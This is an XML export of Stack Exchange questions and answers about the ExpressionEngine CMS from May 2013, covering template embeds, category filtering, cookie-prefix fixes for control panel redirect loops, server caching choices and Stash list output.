  <row Id="10611" PostTypeId="2" ParentId="10598" CreationDate="2013-05-21T18:11:05.953" Score="0" Body="&lt;p&gt;You can do this using an embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;group/.template&quot; current_category=&quot;{exp:channel:entries}{categories limit=&quot;1&quot;}{category_id}{/categories}{/exp:channel:entries}&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the embed template, just call {embed:current_category}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's better than install stash for use just once.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-21T18:11:05.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10612" PostTypeId="2" ParentId="10602" CreationDate="2013-05-21T20:07:03.997" Score="7" Body="&lt;p&gt;Thanks for listening to my talk and staying awake. It really is crucial to get a good base setup and thanks for reaching out to us for advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key mods we use suPHP, EAccelerator, Deflate, File Cache, MemCache, FastCGI (and some other non-cache related mods) and EE works very fast. Not sure on APC but I cannot imagine there being much difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key will be the DB config and Disk speed as everything runs from the DB or sometimes cached files. Caching a bit of PHP probably wont make much difference but EE Debug can tell you that if you were to benchmark the two options suPHP and APC. You can then make a decision before production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We did have a client in the US using server side cache and combined with EE had some profound effects. They were changing PHP in templates and it didn't change on the front end. Clearing EE cache wouldn't make a difference so if you start to get this and are using a server side caching system, try turning it off. I believe this was a third party system though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with the setup, nothing like a nice new server to play with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was interesting &lt;a href=&quot;http://redmine.lighttpd.net/projects/1/wiki/docs_performancefastcgi&quot;&gt;http://redmine.lighttpd.net/projects/1/wiki/docs_performancefastcgi&lt;/a&gt;&#xA;... and if you are thinking about APC on a VM &lt;a href=&quot;http://chrisgilligan.com/wordpress/how-to-configure-apc-cache-on-virtual-servers-with-php-running-under-fcgid/&quot;&gt;http://chrisgilligan.com/wordpress/how-to-configure-apc-cache-on-virtual-servers-with-php-running-under-fcgid/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="1536" LastActivityDate="2013-05-21T20:07:03.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10613" PostTypeId="2" ParentId="10259" CreationDate="2013-05-21T20:25:19.830" Score="0" Body="&lt;p&gt;I believe I read something about this error in the CT changelog. I might be wrong. Might be worth a look there. Here is a new version out now. &lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-21T20:25:19.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10614" PostTypeId="1" AcceptedAnswerId="10620" CreationDate="2013-05-21T21:21:43.260" Score="2" ViewCount="483" Body="&lt;p&gt;I would like to use a parameter like orderby=&quot;random&quot; on a matrix field to randomize the order of the row output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field orderby=&quot;random&quot;}&#xA;  {row_title}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this, but got a MySQL error.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2013-05-21T22:09:39.793" Title="Is it possible to randomize the row output of a matrix field?" Tags="|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10615" PostTypeId="1" CreationDate="2013-05-21T21:28:08.557" Score="1" ViewCount="160" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; and I'm trying to figure out how to show, for example, 3 specific categories AND said categories children as well. I know of the show param though, it appears this needs to include the parent category IDs AND their children IDs to have both parents and children show up. Using show=&quot;1|2|3&quot; I only get the 3 parent cats in other words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That of course sucks because anytime a client adds a new child cat we have to update the show param IDs again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's almost like we are missing a &lt;code&gt;show_include_children=&quot;yes&quot;&lt;/code&gt; in the case of the show param. The next param (excl_cat_id) has something similar in fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is the &lt;code&gt;excl_cat_id=&quot;&quot;&lt;/code&gt; along with &lt;code&gt;excl_cat_id_children=&quot;yes&quot;&lt;/code&gt; params which would work though, that would mean any time a new parent category is added I'd have to go in and excluded that one as well and it's children when added too. The opposite of show in other words though, the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about the cat_id param though, this is only for one category and it's children and of course is only half of what I need. I tried piping here without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about using conditionals or Switchee? Something along the lines of this: &lt;code&gt;{if parent_id == &quot;1|2|3&quot;} my vars {/if}&lt;/code&gt; this would probably work though, seems like there should be a way to do this with out having to loop through 1000 categories just to check for 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all that said, am I missing something, is there not a way to show 3 categories AND their children based on the 3 parent IDs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-05-21T23:32:45.103" LastActivityDate="2013-05-21T23:32:45.103" Title="GWcode Categories - show these three cats AND their children" Tags="|filter|gwcode-categories|categories|children|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostTypeId="2" ParentId="10615" CreationDate="2013-05-21T21:33:10.000" Score="1" Body="&lt;p&gt;I was just doing something with GW Categories that involved showing child categories. In the end I ditched it in favour of using the query module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could run a query something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select * from exp_categories where parent_id='CURRENT CATEGORY ID'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and pass it your category IDs as required&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-21T21:33:10.000" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostTypeId="1" AcceptedAnswerId="10690" CreationDate="2013-05-21T21:41:02.903" Score="0" ViewCount="986" Body="&lt;p&gt;I just updated from EE 2.5.1 to 2.6.1, and now I get a redirect loop error when I try to access the control panel via &lt;code&gt;admin.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cleared my cookies (and started testing in incognito mode to be safe), cleared my .htaccess file, and I added cookie variables to Master Config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['cookie_domain'] = '';&#xA;$env_config['cookie_path'] = ''; &#xA;$env_config['cookie_prefix'] = 'kg_' . ENV;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that didn't fix the problem. What else should I try?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-05-21T21:53:26.053" LastActivityDate="2013-05-24T01:29:39.387" Title="Control Panel Redirect Loop After 2.6.1 Update" Tags="|control-panel|redirects|updating|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10618" PostTypeId="2" ParentId="10259" CreationDate="2013-05-21T21:48:05.387" Score="1" Body="&lt;p&gt;Re: 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My checkout_form returns to /checkout/clear_cart. I was having the same issue with the cart not being emptied on a successful transaction, so here is what I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:submitted_order_info}&#xA;        {if segment_2 == &quot;order_status&quot; OR segment_2 == &quot;clear_cart&quot;}&#xA;            &amp;lt;div class=&quot;store_block order_status&quot;&amp;gt;&#xA;                    {if authorized}&#xA;                        {if segment_2 == &quot;clear_cart&quot;}{embed=&quot;_includes/.clear_cart&quot;}{/if}&#xA;                        [html removed]&#xA;                    {if:elseif processing}&#xA;                        [html removed]&#xA;                    {if:elseif declined}&#xA;                        [html removed]&#xA;                    {if:elseif failed}&#xA;                        [html removed]&#xA;                    {/if}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /order messages --&amp;gt;&#xA;        {/if}&#xA;{/exp:cartthrob:submitted_order_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I put my clear_cart in the _includes embed template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:clear_cart return=&quot;checkout/order_status&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure you could modify this to work for you too. I cancel transactions on Paypal and returned to the checkout page with the cart keeping my items in it (which is how I wanted it), and when I complete a successful transaction the cart gets cleared and the successful transaction message displays.&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-05-21T21:48:05.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10620" PostTypeId="2" ParentId="10614" CreationDate="2013-05-21T22:09:39.793" Score="8" Body="&lt;p&gt;You actually have to do sort=&quot;random&quot; in Matrix. It's not like channel:entries in that way.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-21T22:09:39.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10621" PostTypeId="2" ParentId="10604" CreationDate="2013-05-21T23:08:28.953" Score="1" Body="&lt;p&gt;Crossed cookie wires are usually the cause of this problem. The best fix for this is to clear your cookies, then set a custom cookie prefix in &lt;code&gt;config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_prefix'] = 'sitename';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also has the added advantage of improving security on your site, because a visitor won't be able to tell that you're using ExpressionEngine based on your cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Focus Lab Master Config, it's a good idea for your cookies to be different for each environment, or you'll get crossed wires again. So for that you'd use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['cookie_prefix'] = 'sitename_' . ENV;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;ENV&lt;/code&gt; is the variable Master Config uses to identify which environment you're currently in.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-21T23:08:28.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10622" PostTypeId="1" AcceptedAnswerId="10636" CreationDate="2013-05-22T05:45:03.377" Score="0" ViewCount="524" Body="&lt;p&gt;I looked through the docs and wasn't able to find a count variable to see what file you are in using a field tag. For example, I want to detect when the first file is being looped though my custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{custom_field}&#xA;    {if count == 0}foo{/if}&#xA;    bar&#xA;{/custom_field}&lt;/p&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="69" LastEditDate="2013-05-25T02:21:15.087" LastActivityDate="2013-05-25T02:21:15.087" Title="Assets &quot;count&quot; variable" Tags="|global-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10623" PostTypeId="1" CreationDate="2013-05-22T06:30:40.000" Score="1" ViewCount="148" Body="&lt;p&gt;Is it with Ce Cache possible to delete all cached files in one strike and have them immediately regenerated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/David&lt;/p&gt;&#xA;" OwnerUserId="481" LastActivityDate="2013-05-22T14:47:00.860" Title="Delete all cached files and refresh in one strike" Tags="|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10624" PostTypeId="2" ParentId="10595" CreationDate="2013-05-22T09:41:56.627" Score="1" Body="&lt;p&gt;Option 1 will be a tiny bit quicker, since EE only needs to process one tag. It's a good approach for caching arbitrary chunks of template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you really do need to have a personalised cached item for &lt;em&gt;every&lt;/em&gt; visitor to your site I would suggest you use &lt;code&gt;scope=&quot;site&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-05-22T09:41:56.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10625" PostTypeId="2" ParentId="7230" CreationDate="2013-05-22T09:47:16.183" Score="3" Body="&lt;p&gt;What you are doing doesn't make any sense. There is no point having a separate &lt;code&gt;/pub&lt;/code&gt; directory if everything is still within the webroot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason you would have a separate &lt;code&gt;pub&lt;/code&gt; (or &lt;code&gt;public_html&lt;/code&gt;) directory is if you want to keep your system folder above the webroot. This adds an extra layer of security, though it only really protects against a misconfigured apache and isn't really worth the extra work on shared servers IMO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just move your &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;.htaccess&lt;/code&gt; out of &lt;code&gt;/pub&lt;/code&gt;, and stick to the convention:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/&#xA;  /system&#xA;  /templates&#xA;  .htaccess&#xA;  index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To remove &lt;code&gt;/index.php/&lt;/code&gt; from your URLs, just follow &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;Removing index.php from URLs&lt;/a&gt;, so your htaccess should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-22T09:47:16.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10626" PostTypeId="2" ParentId="10602" CreationDate="2013-05-22T10:44:18.347" Score="5" Body="&lt;p&gt;In my experience suPHP tends to have a small negative impact on overall performance, and either FastCGI or mod_php (DSO) will run faster with less resource use, specifically CPU use. FastCGI uses noticeable more memory than DSO, but on the other hand is arguably 'more secure' than DSO for a multi-site environment. For securing DSO, &lt;a href=&quot;http://sourceforge.net/projects/mod-ruid/&quot;&gt;mod_ruid2&lt;/a&gt; might be an option to consider; I've not actually used it yet but I've heard that it provides similar security advantages as suPHP with better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for opcode caches, you won't be able to run APC with suPHP. I consider APC to be essential for EE sites; without it a blank template will use 10Mb of memory, with it enabled that falls to 3Mb or so. Eaccelerator is also a perfectly decent option (if you use DSO) that seems to be stable with EE sites, but of course if you're using something like CE_Cache then having APC available is going to provide you with another driver option for caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid the unnecessary overhead of running static assets through Apache I usually setup Nginx as a reverse proxy, so that only PHP requests are passed through to Apache. If you use cPanel, &lt;a href=&quot;http://nginxcp.com/&quot;&gt;Nginx Admin&lt;/a&gt; is an easy way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you will need a firewall for your server; for cPanel &lt;a href=&quot;http://configserver.com/cp/csf.html&quot;&gt;CSF&lt;/a&gt; is the obvious choice, and it also provides extremely useful tips on securing your hosting environment.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-05-22T10:44:18.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostTypeId="1" CreationDate="2013-05-22T11:08:35.950" Score="0" ViewCount="292" Body="&lt;p&gt;I have this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories show=&quot;2&quot; style=&quot;linear&quot; channel=&quot;foto&quot; show_empty=&quot;no&quot;}&#xA;     &amp;lt;a href=&quot;{path='fotografie/studio'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in the url: &lt;code&gt;domain.com/fotografie/studio/C2&lt;/code&gt;&#xA;I don't want &lt;code&gt;C2&lt;/code&gt; to show up in the url how do I prevent this?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-05-22T11:31:00.690" Title="prevent URL category segment" Tags="|url|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10628" PostTypeId="2" ParentId="10627" CreationDate="2013-05-22T11:31:00.690" Score="1" Body="&lt;p&gt;This has to do with &quot;Global Channel Preferences&quot; (admin &gt; channel admin &gt; global preferences) having &quot;Use Category URL Titles In Links?&quot; set to no.  When you set it to yes, the default behaviour will be to insert your category url indicator (which you control in the same spot), followed by the category url title (as in /category/category_url_title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least, that would be the typical default behaviour of the channel categories tag pair. You can certain override that a number of ways, both within the channel categories loop and the channel entries loop.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-22T11:31:00.690" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostTypeId="1" CreationDate="2013-05-22T11:39:54.727" Score="1" ViewCount="152" Body="&lt;p&gt;I have a client that needs a slider that can either show text, or a &quot;tweet&quot; (using CE Tweet for getting the tweet's info). I'm using Stash, and thought this would be the best way to get there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;        channel='slides'&#xA;        dynamic='no'&#xA;    }&#xA;        {exp:stash:set_list &#xA;            name='home_slides' &#xA;            parse_tags='yes'&#xA;            parse_depth='2'&#xA;        }&#xA;            {if slide_type == 'tweet'}&#xA;                {slide_tweet type='show'}&#xA;                    {stash:list_text}{text}{/stash:list_text}&#xA;                    {stash:list_attribution}{user_name}, &amp;lt;a href=&quot;https://twitter.com/{user_screen_name}&quot; target=&quot;_blank&quot;&amp;gt;{user_screen_name}&amp;lt;/a&amp;gt;{/stash:list_attribution}&#xA;                    {stash:list_cta}&amp;lt;span class=&quot;ui-retweet&quot;&amp;gt;&amp;lt;/span&amp;gt; Retweet{/stash:list_cta}&#xA;                    {stash:list_link}https://twitter.com/intent/retweet?tweet_id={id_str}{/stash:list_link}&#xA;                {/slide_tweet}&#xA;            {if:else}&#xA;                {stash:list_text}{slide_text}{/stash:list_text}&#xA;                {stash:list_attribution}{slide_source}{/stash:list_attribution}&#xA;                {stash:list_cta}{slide_call_to_action}{/stash:list_cta}&#xA;                {stash:list_link}{slide_link}{/stash:list_link}&#xA;            {/if}&#xA;        {/exp:stash:set_list}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is where I'm outputting the list (simplified slightly):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;    channel='pages'&#xA;    limit='1'&#xA;    require_entry='yes'&#xA;}&#xA;    {exp:stash:set parse_tags='yes'}&#xA;        {stash:page_title}{title}{/stash:page_title}&#xA;        {stash:page_content}&#xA;            &amp;lt;section class=&quot;slider&quot;&amp;gt;&#xA;                &amp;lt;ul data-orbit data-options=&quot;bullets: false; &quot;&amp;gt;&#xA;                    {exp:stash:get_list name='home_slides' prefix='list'}&#xA;                        &amp;lt;!-- {list:count} --&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;                                    &amp;lt;h2&amp;gt;&amp;lt;span class=&quot;ui-quote&quot;&amp;gt;&amp;lt;span class=&quot;ui-quote-open&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                        {list_text}&amp;lt;br&amp;gt;&#xA;                                        &amp;lt;small class=&quot;attribution&quot;&amp;gt;{list_attribution}&amp;lt;/small&amp;gt;&#xA;                                    &amp;lt;/h2&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{list_link}&quot; class=&quot;btn&quot;&amp;gt;{list_cta}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    {/exp:stash:get_list}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        {/stash:page_content}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now after my actual entry gets outputted, another &quot;slide&quot; gets put into my template, but all the stash-variables in that list-item are empty. Any idea as to where this emtpy item might come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-10T11:59:57.437" Title="Stash Get_List outputting additional empty item" Tags="|stash|parse-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostTypeId="1" AcceptedAnswerId="10632" CreationDate="2013-05-22T12:12:00.147" Score="1" ViewCount="1220" Body="&lt;p&gt;I've created a custom member field called &quot;member_code&quot;, I'm trying to output this code but it seems to only ever output the code from the first member in the system, even when I use the member_id=&quot;3&quot; parameter. My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}{member_code}{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No matter which user I login as it's always outputting the first users details, any ideas? I'm running expressionengine 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-05-22T12:57:41.907" Title="Member custom profile data not outputting correctly" Tags="|members|custom-fields|member-details|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10631" PostTypeId="2" ParentId="10593" CreationDate="2013-05-22T12:31:33.540" Score="0" Body="&lt;p&gt;Expressionengine logs you in by checking your username and password in the database and then creating a session (a cookie and a corresponding database entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be pretty simple to add another field in the members table and create a GUID for each member that you use to identify and authenticate the member.  You can create either an EE plugin or a CI or raw PHP script that provides a landing page that accepts the GUID as a url parameter and performs the pseudo login.  You can then send the url with the GUID via a mailmerge, mailchimp or whatever to your users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you know, but you should do your own risk analysis to be sure that this method is secure enough.  Make sure whatever group these members are in doesn't have control panel access etc.&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="255" LastEditDate="2013-05-22T13:09:38.780" LastActivityDate="2013-05-22T13:09:38.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostTypeId="2" ParentId="10630" CreationDate="2013-05-22T12:40:43.370" Score="1" Body="&lt;p&gt;Seems you have to wrap {exp:member:custom_profile_data} around {exp:channel:entries} instead of placing it inside!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-05-22T12:40:43.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10633" PostTypeId="2" ParentId="9884" CreationDate="2013-05-22T12:45:33.080" Score="0" Body="&lt;p&gt;As pointed out by Derek, the documentation has changed for 2.6 and I was running 2.5 I've now updated and everything's working fine.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-05-22T12:45:33.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10634" PostTypeId="2" ParentId="10630" CreationDate="2013-05-22T12:57:41.907" Score="2" Body="&lt;p&gt;You can use put the code for fetching member data within embedded template and can pass member id as embed variable like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;temp_grp/temp_name&quot; member_id=&quot;{member_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within the template &quot;temp_grp/temp_name&quot; put the tag of custom profile data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;{embed:member_id}&quot;}{member_code}{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-22T12:57:41.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10635" PostTypeId="2" ParentId="8934" CreationDate="2013-05-22T13:26:12.843" Score="0" Body="&lt;p&gt;I just encountered a similar situation where I'm in a safecracker tag pair and want to output the selected categories of the entry. GDmac's comment above solved it perfectly, thanks GDmac (I had tried {if {selected}} to no avail.)&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-05-22T13:26:12.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10636" PostTypeId="2" ParentId="10622" CreationDate="2013-05-22T13:52:53.497" Score="5" Body="&lt;p&gt;The count variable is 1-indexed so you need to do {if count == 1}{/if} to get the first in a loop.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-22T13:52:53.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10637" PostTypeId="2" ParentId="10623" CreationDate="2013-05-22T14:47:00.860" Score="1" Body="&lt;p&gt;For the first part of your question you could use CE Cache's Clean tag {exp:ce_cache:clean} &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide/tags&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide/tags&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recreate all the cache I think you would need to trigger a crawler to go through your site, maybe based on your sitemap, or cron job that does the same.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-05-22T14:47:00.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10638" PostTypeId="1" AcceptedAnswerId="10646" CreationDate="2013-05-22T15:14:15.960" Score="0" ViewCount="140" Body="&lt;p&gt;I've got a file upload location that needs to serve files via http in the public part of the website, and serve files via https in the private part of the website and in the control panel (to avoid getting security warnings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I handle this in EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I'm currently specifying file upload locations in the config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* File Upload Preferences&#xA;-------------------------------------------------------------------*/&#xA;$config['upload_preferences'] = array(&#xA;  1 =&amp;gt; array(&#xA;    'name'        =&amp;gt; &quot;Uploads&quot;,&#xA;    'server_path' =&amp;gt; &quot;${_SERVER['DOCUMENT_ROOT']}/uploads/&quot;,&#xA;    'url'         =&amp;gt; &quot;http://${_SERVER['HTTP_HOST']}/uploads/&quot;&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-05-24T02:38:35.610" Title="Managing file upload locations with http and https" Tags="|file-uploads|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostTypeId="1" AcceptedAnswerId="10642" CreationDate="2013-05-22T15:32:44.587" Score="0" ViewCount="103" Body="&lt;p&gt;I need to use the Select Dropdown included in Pixel&amp;amp;Tonic's FieldPack, but I can't install FieldPack without updating EE to 2.6, which I can't do now. Is there an older version I could use? I searched P&amp;amp;T's website, but older versions don't seem to be available there. I don't need the whole FieldPack, really, only the select dropdown.&lt;/p&gt;&#xA;" OwnerUserId="1541" LastActivityDate="2013-05-22T15:59:00.187" Title="Using P&amp;T Select Dropdown field without updating to EE 2.6" Tags="|pixelandtonic|field-pack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10640" PostTypeId="1" CreationDate="2013-05-22T15:37:28.113" Score="1" ViewCount="244" Body="&lt;p&gt;I'm new to postmaster. I've been using MX Notify to do some basic notifications. However, I'm looking to to send a &quot;reminder email&quot; that will trigger a CRON timer of +3 days after a initial email is sent. Is this possible with Postmaster? I haven't wrapped my head around how hooks, parcels, etc should be aligned yet. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-05-23T15:41:43.647" Title="Postmaster CRON notification" Tags="|postmaster|notification|cron|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10641" PostTypeId="2" ParentId="10639" CreationDate="2013-05-22T15:40:21.117" Score="0" Body="&lt;p&gt;Give P&amp;amp;T a shout directly by email and I'm sure they've have an archived file for you.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-22T15:40:21.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
